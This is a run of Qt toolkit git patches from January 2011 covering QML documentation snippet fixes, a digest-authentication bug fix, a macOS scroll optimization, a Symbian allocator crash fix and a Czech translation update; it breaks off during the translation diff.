    +Item {
    +    anchors.bottom: myRectangle.top         // Correct
    +}
     \endqml
     
     
    @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
     Rotation of text was also suggested. It could also be useful to scale the
     text. We can do both. The \l {Item::transform}{transform} property is a
     \e list of \l Transform elements, so using the list syntax
    -
    -\qml
    -myList: [ listElement1, listElement2, ... } ]
    -\endqml
    -
    +\c{myList: [ listElement1, listElement2, ... } ]}
     we can produce a list of transformations.
     
     The text will be rotated by 45 degrees anti-clockwise and scaled 
    diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
    new file mode 100644
    index 0000000..f2eacd8
    Binary files /dev/null and b/doc/src/images/declarative-colors.png differ
    diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
    new file mode 100644
    index 0000000..c670eca
    --- /dev/null
    +++ b/doc/src/snippets/declarative/colors.qml
    @@ -0,0 +1,125 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the documentation of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:BSD$
    +** You may use this file under the terms of the BSD license as follows:
    +**
    +** "Redistribution and use in source and binary forms, with or without
    +** modification, are permitted provided that the following conditions are
    +** met:
    +**   * Redistributions of source code must retain the above copyright
    +**     notice, this list of conditions and the following disclaimer.
    +**   * Redistributions in binary form must reproduce the above copyright
    +**     notice, this list of conditions and the following disclaimer in
    +**     the documentation and/or other materials provided with the
    +**     distribution.
    +**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
    +**     the names of its contributors may be used to endorse or promote
    +**     products derived from this software without specific prior written
    +**     permission.
    +**
    +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
    +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
    +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
    +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
    +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
    +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
    +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
    +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
    +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +import QtQuick 1.0
    +
    +Rectangle {
    +    width: 160; height: 250
    +    
    +    Image {
    +        width: 160; height: 200
    +        source: "pics/checker.svg"
    +        fillMode: Image.Tile
    +
    +        //! [colors]
    +        Rectangle {
    +            color: "steelblue"
    +            width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "transparent"
    +            y: 40; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#FF0000"
    +            y: 80; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#800000FF"
    +            y: 120; width: 40; height: 40
    +        }
    +        Rectangle {
    +            color: "#00000000"    // ARGB fully transparent
    +            y: 160
    +            width: 40; height: 40
    +        }
    +        //! [colors]
    +
    +        Rectangle {
    +            x: 40
    +            width: 120; height: 200
    +
    +            Text {
    +                font.pixelSize: 16
    +                text: "steelblue"
    +                x: 10; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "transparent"
    +                x: 10; y: 40; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "FF0000"
    +                x: 10; y: 80; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "800000FF"
    +                x: 10; y: 120; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +            Text {
    +                font.pixelSize: 16
    +                text: "00000000"
    +                x: 10; y: 160; height: 40
    +                verticalAlignment: Text.AlignVCenter
    +            }
    +        }
    +    }
    +
    +    Image {
    +        y: 210
    +        width: 40; height: 40
    +        source: "pics/checker.svg"
    +        fillMode: Image.Tile
    +    }
    +
    +    Text {
    +        font.pixelSize: 16
    +        text: "(background)"
    +        x: 50; y: 210; height: 40
    +        verticalAlignment: Text.AlignVCenter
    +    }
    +}
    diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
    new file mode 100644
    index 0000000..374d89d
    --- /dev/null
    +++ b/doc/src/snippets/declarative/pics/checker.svg
    @@ -0,0 +1,17 @@
    +
    +
    +  Checker
    +  A checkerboard pattern to use as a background.
    +  
    +    
    +  
    +  
    +    
    +  
    +  
    +    
    +  
    +
    -- 
    cgit v0.12
    
    
    From 57f2890a28f5bed8476019d4f280e75e982cfe25 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 14:54:31 +0100
    Subject: Ensured that an uninitialized output codec is never used.
    
    See task for contributor information.
    
    Task-number: QTBUG-16462
    ---
     tools/qdoc3/pagegenerator.cpp | 5 ++++-
     1 file changed, 4 insertions(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
    index e9566ee..89ec6fe 100644
    --- a/tools/qdoc3/pagegenerator.cpp
    +++ b/tools/qdoc3/pagegenerator.cpp
    @@ -56,6 +56,7 @@ QT_BEGIN_NAMESPACE
       Nothing to do in the constructor.
      */
     PageGenerator::PageGenerator()
    +    : outputCodec(0)
     {
         // nothing.
     }
    @@ -294,7 +295,9 @@ void PageGenerator::beginSubPage(const Location& location,
         if (!outFile->open(QFile::WriteOnly))
     	location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
         QTextStream* out = new QTextStream(outFile);
    -    out->setCodec(outputCodec);
    +
    +    if (outputCodec)
    +        out->setCodec(outputCodec);
         outStreamStack.push(out);
     }
     
    -- 
    cgit v0.12
    
    
    From 3d769613d5efc642ebfd8d5fe7c149834132fe65 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 15:09:14 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 44 +++++++++++---------
     .../graphicsitems/qdeclarativepositioners.cpp      | 10 +++--
     .../graphicsitems/qdeclarativerectangle.cpp        |  5 ++-
     src/declarative/graphicsitems/qdeclarativetext.cpp | 35 ++++++++++++----
     .../graphicsitems/qdeclarativetextinput.cpp        |  4 +-
     src/declarative/util/qdeclarativestategroup.cpp    | 48 +++++++++++++---------
     src/declarative/util/qdeclarativexmllistmodel.cpp  | 13 +++---
     7 files changed, 101 insertions(+), 58 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index e915bea..a99d918 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -2124,16 +2124,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       \o \image declarative-anchors_example.png
       \o Text anchored to Image, horizontally centered and vertically below, with a margin.
       \qml
    -  Image {
    -      id: pic
    -      // ...
    -  }
    -  Text {
    -      id: label
    -      anchors.horizontalCenter: pic.horizontalCenter
    -      anchors.top: pic.bottom
    -      anchors.topMargin: 5
    -      // ...
    +  Item {
    +      Image {
    +          id: pic
    +          // ...
    +      }
    +      Text {
    +          id: label
    +          anchors.horizontalCenter: pic.horizontalCenter
    +          anchors.top: pic.bottom
    +          anchors.topMargin: 5
    +          // ...
    +      }
       }
       \endqml
       \row
    @@ -2143,16 +2145,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       property of both defaults to 0.
     
       \qml
    -    Image {
    -        id: pic
    -        // ...
    -    }
    -    Text {
    -        id: label
    -        anchors.left: pic.right
    -        anchors.leftMargin: 5
    -        // ...
    -    }
    +  Item {
    +      Image {
    +          id: pic
    +          // ...
    +      }
    +      Text {
    +          id: label
    +          anchors.left: pic.right
    +          anchors.leftMargin: 5
    +          // ...
    +      }
    +  }
       \endqml
       \endtable
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    index 4e049c7..e0bd2ff 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    @@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
       \qml
       Column {
           spacing: 2
    -      add: ...
    -      move: ...
    -      ...
    +      add: Transition {
    +          // Define an animation for adding a new item...
    +      }
    +      move: Transition {
    +          // Define an animation for moving items within the column...
    +      }
    +      // ...
       }
       \endqml
     
    diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    index 403f12c..d962919 100644
    --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
    @@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
     
         Example:
         \qml
    -    Rectangle { border.width: 2; border.color: "red" ... }
    +    Rectangle {
    +        border.width: 2
    +        border.color: "red"
    +    }
         \endqml
     */
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 2f3c8e5..79aa18d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -558,11 +558,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
         \brief The Text item allows you to add formatted text to a scene.
         \inherits Item
     
    -    A Text item can display both plain and rich text. For example:
    +    Text items can display both plain and rich text. For example, red text with
    +    a specific font and size can be defined like this:
     
         \qml
    -    Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
    -    Text { text: "Hello World!" }
    +    Text {
    +        text: "Hello World!"
    +        font.family: "Helvetica"
    +        font.pointSize: 24
    +        color: "red"
    +    }
    +    \endqml
    +
    +    Rich text is defined using HTML-style markup:
    +
    +    \qml
    +    Text {
    +        text: "Hello World!"
    +    }
         \endqml
     
         \image declarative-text.png
    @@ -789,12 +802,20 @@ void QDeclarativeText::setText(const QString &n)
     
         The text color.
     
    +    An example of green text defined using hexadecimal notation:
         \qml
    -    //green text using hexadecimal notation
    -    Text { color: "#00FF00"; ... }
    +    Text {
    +        color: "#00FF00"
    +        text: "green text"
    +    }
    +    \endqml
     
    -    //steelblue text using SVG color name
    -    Text { color: "steelblue"; ... }
    +    An example of steel blue text defined using an SVG color name:
    +    \qml
    +    Text {
    +        color: "steelblue"
    +        text: "blue text"
    +    }
         \endqml
     */
     QColor QDeclarativeText::color() const
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 57a2177..cb308f4 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -520,10 +520,10 @@ void QDeclarativeTextInput::select(int start, int end)
         It is equivalent to the following snippet, but is faster and easier
         to use.
     
    -    \qml
    +    \js
         myTextInput.text.toString().substring(myTextInput.selectionStart,
             myTextInput.selectionEnd);
    -    \endqml
    +    \endjs
     */
     QString QDeclarativeTextInput::selectedText() const
     {
    diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
    index 7aeea12..f1d0997 100644
    --- a/src/declarative/util/qdeclarativestategroup.cpp
    +++ b/src/declarative/util/qdeclarativestategroup.cpp
    @@ -102,10 +102,10 @@ public:
                id: myStateGroup
                states: State {
                    name: "state1"
    -               ...
    +               // ...
                }
                transitions: Transition {
    -               ...
    +               // ...
                }
            }
     
    @@ -140,11 +140,15 @@ QList QDeclarativeStateGroup::states() const
     
       \qml
       StateGroup {
    -    states: [
    -      State { ... },
    -      State { ... }
    -      ...
    -    ]
    +      states: [
    +          State {
    +              // State definition...
    +          },
    +          State {
    +              // ...
    +          }
    +          // Other states...
    +      ]
       }
       \endqml
     
    @@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty QDeclarativeStateGroup::transit
       This property is often used in scripts to change between states. For
       example:
     
    -  \qml
    -    function toggle() {
    -        if (button.state == 'On')
    -            button.state = 'Off';
    -        else
    -            button.state = 'On';
    -    }
    -  \endqml
    +  \js
    +  function toggle() {
    +      if (button.state == 'On')
    +          button.state = 'Off';
    +      else
    +          button.state = 'On';
    +  }
    +  \endjs
     
       If the state group is in its base state (i.e. no explicit state has been
       set), \c state will be a blank string. Likewise, you can return a
    diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
    index 7da4ecd..c582df1 100644
    --- a/src/declarative/util/qdeclarativexmllistmodel.cpp
    +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
    @@ -90,8 +90,11 @@ typedef QPair QDeclarativeXmlListRange;
         \qml
         XmlListModel {
             id: xmlModel
    -        ...
    -        XmlRole { name: "title"; query: "title/string()" }
    +        // ...
    +        XmlRole {
    +            name: "title"
    +            query: "title/string()"
    +        }
         }
     
         ListView {
    @@ -792,9 +795,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
     
         This will access the \c title value for the first item in the model:
     
    -    \qml
    -        var title = model.get(0).title;
    -    \endqml
    +    \js
    +    var title = model.get(0).title;
    +    \endjs
     */
     QScriptValue QDeclarativeXmlListModel::get(int index) const
     {
    -- 
    cgit v0.12
    
    
    From 1137379e98cab8cc67fac70b31c97001c4473eb0 Mon Sep 17 00:00:00 2001
    From: Peter Hartmann 
    Date: Mon, 24 Jan 2011 14:21:18 +0100
    Subject: HTTP: fix digest authentication
    
    no need to extract the realm from the user; with digest authentication
    the realm is an attribute of its own.
    
    Reviewed-by: Markus Goetz
    Task-number: QTBUG-15070
    ---
     src/network/kernel/qauthenticator.cpp | 19 +------------------
     1 file changed, 1 insertion(+), 18 deletions(-)
    
    diff --git a/src/network/kernel/qauthenticator.cpp b/src/network/kernel/qauthenticator.cpp
    index 73143e1..d61d3b7 100644
    --- a/src/network/kernel/qauthenticator.cpp
    +++ b/src/network/kernel/qauthenticator.cpp
    @@ -213,24 +213,6 @@ void QAuthenticator::setUser(const QString &user)
         int separatorPosn = 0;
     
         switch(d->method) {
    -    case QAuthenticatorPrivate::DigestMd5:
    -        if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
    -            //domain name is present
    -	    d->userDomain.clear();
    -            d->realm = user.left(separatorPosn);
    -            d->user = user.mid(separatorPosn + 1);
    -        } else if((separatorPosn = user.indexOf(QLatin1String("@"))) != -1) {
    -            //domain name is present
    -	    d->userDomain.clear();
    -            d->realm = user.mid(separatorPosn + 1);
    -            d->user = user.left(separatorPosn);
    -        } else {
    -            d->user = user;
    -            d->realm.clear();
    -            d->userDomain.clear();
    -        }
    -        break;
    -
         case QAuthenticatorPrivate::Ntlm:
             if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
                 //domain name is present
    @@ -253,6 +235,7 @@ void QAuthenticator::setUser(const QString &user)
             break;
         default:
             d->user = user;
    +        d->userDomain.clear();
             break;
         }
     }
    -- 
    cgit v0.12
    
    
    From f1262bdf81251d488c6fe8c1a00325a81654844e Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Mon, 24 Jan 2011 15:44:48 +0100
    Subject: Cocoa: add scroll optimization when scrolling both hor and ver
    
    ---
     src/gui/kernel/qcocoaview_mac.mm        |  6 ++++
     src/gui/kernel/qt_cocoa_helpers_mac.mm  |  6 ++++
     src/gui/kernel/qt_cocoa_helpers_mac_p.h | 54 +++++++++++++++++++++++++++++++++
     src/gui/kernel/qwidget_mac.mm           |  4 +++
     4 files changed, 70 insertions(+)
    
    diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm
    index 18a2be1..1b81699 100644
    --- a/src/gui/kernel/qcocoaview_mac.mm
    +++ b/src/gui/kernel/qcocoaview_mac.mm
    @@ -579,6 +579,10 @@ static int qCocoaViewCount = 0;
         }
     
     #ifndef QT_NO_WHEELEVENT
    +    // ### Qt 5: Send one QWheelEvent with dx, dy and dz
    +
    +    QMacScrollOptimization::initNewScroll();
    +
         if (deltaX != 0) {
             QWheelEvent qwe(qlocal, qglobal, deltaX, buttons, keyMods, Qt::Horizontal);
             qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
    @@ -595,6 +599,8 @@ static int qCocoaViewCount = 0;
             QWheelEvent qwe(qlocal, qglobal, deltaZ, buttons, keyMods, (Qt::Orientation)3);
             qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
         }
    +
    +    QMacScrollOptimization::performDelayedScroll();
     #endif //QT_NO_WHEELEVENT
     }
     
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    index 35b9d52..ddbf53f 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    @@ -1724,6 +1724,12 @@ void qt_mac_post_retranslateAppMenu()
     #endif
     }
     
    +QWidgetPrivate *QMacScrollOptimization::_target = 0;
    +bool QMacScrollOptimization::_inWheelEvent = false;
    +int QMacScrollOptimization::_dx = 0;
    +int QMacScrollOptimization::_dy = 0;
    +QRect QMacScrollOptimization::_scrollRect = QRect(0, 0, -1, -1);
    +
     #ifdef QT_MAC_USE_COCOA
     // This method implements the magic for the drawRectSpecial method.
     // We draw a line at the upper edge of the content view in order to
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac_p.h b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    index c30fdc0..eab8a86 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    @@ -103,6 +103,7 @@
     #include 
     #include 
     #include 
    +#include 
     #include 
     #include 
     #include 
    @@ -245,6 +246,59 @@ void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount
     
     #endif
     
    +class QMacScrollOptimization {
    +    // This class is made optimize for the case when the user
    +    // scrolls both horizontally and vertically at the same
    +    // time. This will result in two QWheelEvents (one for each
    +    // direction), which will typically result in two calls to
    +    // QWidget::_scroll_sys. Rather than copying pixels twize on
    +    // screen because of this, we add this helper class to try to
    +    // get away with only one blit.
    +    static QWidgetPrivate *_target;
    +    static bool _inWheelEvent;
    +    static int _dx;
    +    static int _dy;
    +    static QRect _scrollRect;
    +
    +public:
    +    static void initNewScroll()
    +    {
    +        _inWheelEvent = true;
    +    }
    +
    +    static bool delayScroll(QWidgetPrivate *target, int dx, int dy, const QRect &scrollRect)
    +    {
    +        if (!_inWheelEvent)
    +            return false;
    +        if (_target && _target != target)
    +            return false;
    +        if (_scrollRect.width() != -1 && _scrollRect != scrollRect)
    +            return false;
    +
    +        _target = target;
    +        _dx += dx;
    +        _dy += dy;
    +        _scrollRect = scrollRect;
    +        return true;
    +    }
    +
    +    static void performDelayedScroll()
    +    {
    +        if (!_inWheelEvent)
    +            return;
    +        if (!_target)
    +            return;
    +
    +        _inWheelEvent = false;
    +        _target->scroll_sys(_dx, _dy, _scrollRect);
    +
    +        _target = 0;
    +        _dx = 0;
    +        _dy = 0;
    +        _scrollRect = QRect(0, 0, -1, -1);
    +    }
    +};
    +
     void qt_mac_post_retranslateAppMenu();
     
     void qt_mac_display(QWidget *widget);
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 03f496e..f3fbaa7 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4654,6 +4654,10 @@ void QWidgetPrivate::scroll_sys(int dx, int dy)
     void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
     {
         Q_Q(QWidget);
    +
    +    if (QMacScrollOptimization::delayScroll(this, dx, dy, qscrollRect))
    +        return;
    +
         if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) {
             // INVARIANT: Alien paint engine
             scrollRect(qscrollRect, dx, dy);
    -- 
    cgit v0.12
    
    
    From 67601dec71ee5b1ab1dd66bb55e00889bfeccb42 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Mon, 24 Jan 2011 16:12:48 +0100
    Subject: Removed a configuration file that can no longer be used.
    
    ---
     tools/qdoc3/test/qt-webxml.qdocconf | 12 ------------
     1 file changed, 12 deletions(-)
     delete mode 100644 tools/qdoc3/test/qt-webxml.qdocconf
    
    diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
    deleted file mode 100644
    index 80ced42..0000000
    --- a/tools/qdoc3/test/qt-webxml.qdocconf
    +++ /dev/null
    @@ -1,12 +0,0 @@
    -include(qt.qdocconf)
    -
    -quotinginformation      = true
    -imagedirs               = $QTDIR/doc/src/images \
    -                          $QTDIR/examples \
    -			  $QTDIR/doc/src/template/images
    -
    -outputdir               = $QTDIR/doc/webxml
    -outputformats           = WebXML
    -
    -generateindex           = true
    -url                     = .
    -- 
    cgit v0.12
    
    
    From 81941e4c5dcd18ef04b2b22dd3f1b4c04620647c Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Mon, 24 Jan 2011 15:32:11 +0100
    Subject: Fix crash in QtScript/JSC stack allocator on Symbian
    
    The reserved (virtual) size of the chunk is not necessarily a
    multiple of the "pool" size (the physical growth increment).
    The reserved size is only rounded up to a multiple of the page
    size (4K), not the pool size (64K).
    
    This meant that the commit of the _last_ part of the chunk could
    (and did) fail, because we tried to commit 64K while only a size
    <64K was remaining.
    
    Detect this case and reduce the requested size accordingly.
    Also add a call to CRASH() in case Commit() returns an error,
    to avoid obscure crashes in JSC at a later point (grow() must
    not fail).
    
    Task-number: QTBUG-16685
    Reviewed-by: Simon Hausmann
    ---
     .../JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp     | 6 ++++++
     1 file changed, 6 insertions(+)
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
    index da5cc99..e89dd7a 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
    @@ -83,10 +83,16 @@ void RegisterFileAllocator::grow(void* newEnd)
             TInt nBytes = (TInt)(newEnd) - (TInt)(m_comEnd);
             nBytes = SYMBIAN_ROUNDUPTOMULTIPLE(nBytes, m_poolSize);
             TInt offset = (TInt)m_comEnd - (TInt)m_buffer;
    +        // The reserved size is not guaranteed to be a multiple of the pool size.
    +        TInt maxBytes = (TInt)m_resEnd - (TInt)m_comEnd;
    +        if (nBytes > maxBytes)
    +            nBytes = maxBytes;
     
             TInt ret = m_chunk.Commit(offset, nBytes);
             if (ret == KErrNone)
                 m_comEnd = (void*)(m_chunk.Base() + m_chunk.Size());
    +        else
    +            CRASH();
         }
     }
     
    -- 
    cgit v0.12
    
    
    From 7e46280c0552e1368f21ecf6019147261acb2dc3 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Mon, 24 Jan 2011 21:09:19 +0100
    Subject: Cocoa: fix scroll optimization bug
    
    The optimization commited a few commits before this one faulty stopped
    normal dispatching of enter/leave. This patch fixes this.
    ---
     src/gui/kernel/qapplication.cpp         | 2 ++
     src/gui/kernel/qt_cocoa_helpers_mac_p.h | 2 +-
     src/gui/kernel/qwidget_mac.mm           | 3 +--
     3 files changed, 4 insertions(+), 3 deletions(-)
    
    diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp
    index af4a258..e91fe04 100644
    --- a/src/gui/kernel/qapplication.cpp
    +++ b/src/gui/kernel/qapplication.cpp
    @@ -4430,6 +4430,7 @@ bool QApplication::notify(QObject *receiver, QEvent *e)
                 if (w->testAttribute(Qt::WA_AcceptTouchEvents))
                     qt_widget_private(w)->registerTouchWindow(true);
             }
    +        res = d->notify_helper(receiver, e);
         break;
         case QEvent::Leave:
             if (receiver->isWidgetType()) {
    @@ -4437,6 +4438,7 @@ bool QApplication::notify(QObject *receiver, QEvent *e)
                 if (w->testAttribute(Qt::WA_AcceptTouchEvents))
                     qt_widget_private(w)->registerTouchWindow(false);
             }
    +        res = d->notify_helper(receiver, e);
         break;
     #endif
         default:
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac_p.h b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    index eab8a86..9e09fd3 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
    @@ -286,10 +286,10 @@ public:
         {
             if (!_inWheelEvent)
                 return;
    +        _inWheelEvent = false;
             if (!_target)
                 return;
     
    -        _inWheelEvent = false;
             _target->scroll_sys(_dx, _dy, _scrollRect);
     
             _target = 0;
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index f3fbaa7..1a1bb6e 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4653,11 +4653,10 @@ void QWidgetPrivate::scroll_sys(int dx, int dy)
     
     void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
     {
    -    Q_Q(QWidget);
    -
         if (QMacScrollOptimization::delayScroll(this, dx, dy, qscrollRect))
             return;
     
    +    Q_Q(QWidget);
         if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) {
             // INVARIANT: Alien paint engine
             scrollRect(qscrollRect, dx, dy);
    -- 
    cgit v0.12
    
    
    From 0f6de139dc4cebb1f47d129279810178db16ff4a Mon Sep 17 00:00:00 2001
    From: Pavel Fric 
    Date: Mon, 24 Jan 2011 21:11:46 +0100
    Subject: Update of Czech translation for Qt 4.7-stable
    
    Merge-request: 2553
    Reviewed-by: Oswald Buddenhagen 
    ---
     translations/assistant_cs.ts | 1077 ++++--
     translations/designer_cs.ts  | 1472 +-------
     translations/linguist_cs.ts  | 1396 +++++---
     translations/qt_cs.ts        | 7942 +++++++++++++++++++++---------------------
     translations/qt_help_cs.ts   |  166 +-
     5 files changed, 5988 insertions(+), 6065 deletions(-)
     mode change 100644 => 100755 translations/assistant_cs.ts
     mode change 100644 => 100755 translations/designer_cs.ts
     mode change 100644 => 100755 translations/linguist_cs.ts
     mode change 100644 => 100755 translations/qt_cs.ts
     mode change 100644 => 100755 translations/qt_help_cs.ts
    
    diff --git a/translations/assistant_cs.ts b/translations/assistant_cs.ts
    old mode 100644
    new mode 100755
    index 2156187..9b9e486
    --- a/translations/assistant_cs.ts
    +++ b/translations/assistant_cs.ts
    @@ -4,7 +4,6 @@
     
         AboutDialog
         
    -        
             &Close
             &Zavřít
         
    @@ -12,427 +11,886 @@
     
         AboutLabel
         
    -        
             Warning
             Varování
         
         
    -        
             Unable to launch external application.
     
             Chyba při spouštění vnější aplikace.
     
         
         
    -        
             OK
             OK
         
     
     
    +    Assistant
    +    
    +        Error registering documentation file '%1': %2
    +        Chyba při záznamu souboru s dokumentací '%1': %2
    +    
    +    
    +        Error: %1
    +        Chyba: %1
    +    
    +    
    +        Could not register documentation file
    +%1
    +
    +Reason:
    +%2
    +        Soubor s dokumentací %1 nelze zaznamenat
    +
    +Důvod:
    +%2
    +    
    +    
    +        Documentation successfully registered.
    +        Dokumentace byla úspěšně zaznamenána.
    +    
    +    
    +        Could not unregister documentation file
    +%1
    +
    +Reason:
    +%2
    +        Zaznamenání souboru s dokumentací %1 nelze zrušit
    +
    +Grund:
    +%2
    +    
    +    
    +        Documentation successfully unregistered.
    +        Dokumentace byla úspěšně odstraněna.
    +    
    +    
    +        Error reading collection file '%1': %2.
    +        Chyba při čtení sbírkového souboru '%1': %2.
    +    
    +    
    +        Error creating collection file '%1': %2.
    +        Chyba při vytváření sbírkového souboru '%1': %2.
    +    
    +    
    +        Cannot load sqlite database driver!
    +        Databázový ovladač pro SQLite nelze nahrát!
    +    
    +
    +
         BookmarkDialog
         
    -        
             Add Bookmark
             Přidat záložku
         
         
    -        
             Bookmark:
             Záložka:
         
         
    -        
             Add in Folder:
             Zřídit ve složce:
         
         
    -        
             New Folder
             Nová složka
         
         
    -        
    -        
    -        
    -        
    -        
             Bookmarks
    -        Záložky
    +        Záložky
         
         
    -        
             +
             +
         
         
    -        
             Delete Folder
    -        Smazat složku
    +        Smazat složku
         
         
    -        
             Rename Folder
             Přejmenovat složku
         
     
     
    +    BookmarkItem
    +    
    +        New Folder
    +        Nová složka
    +    
    +    
    +        Untitled
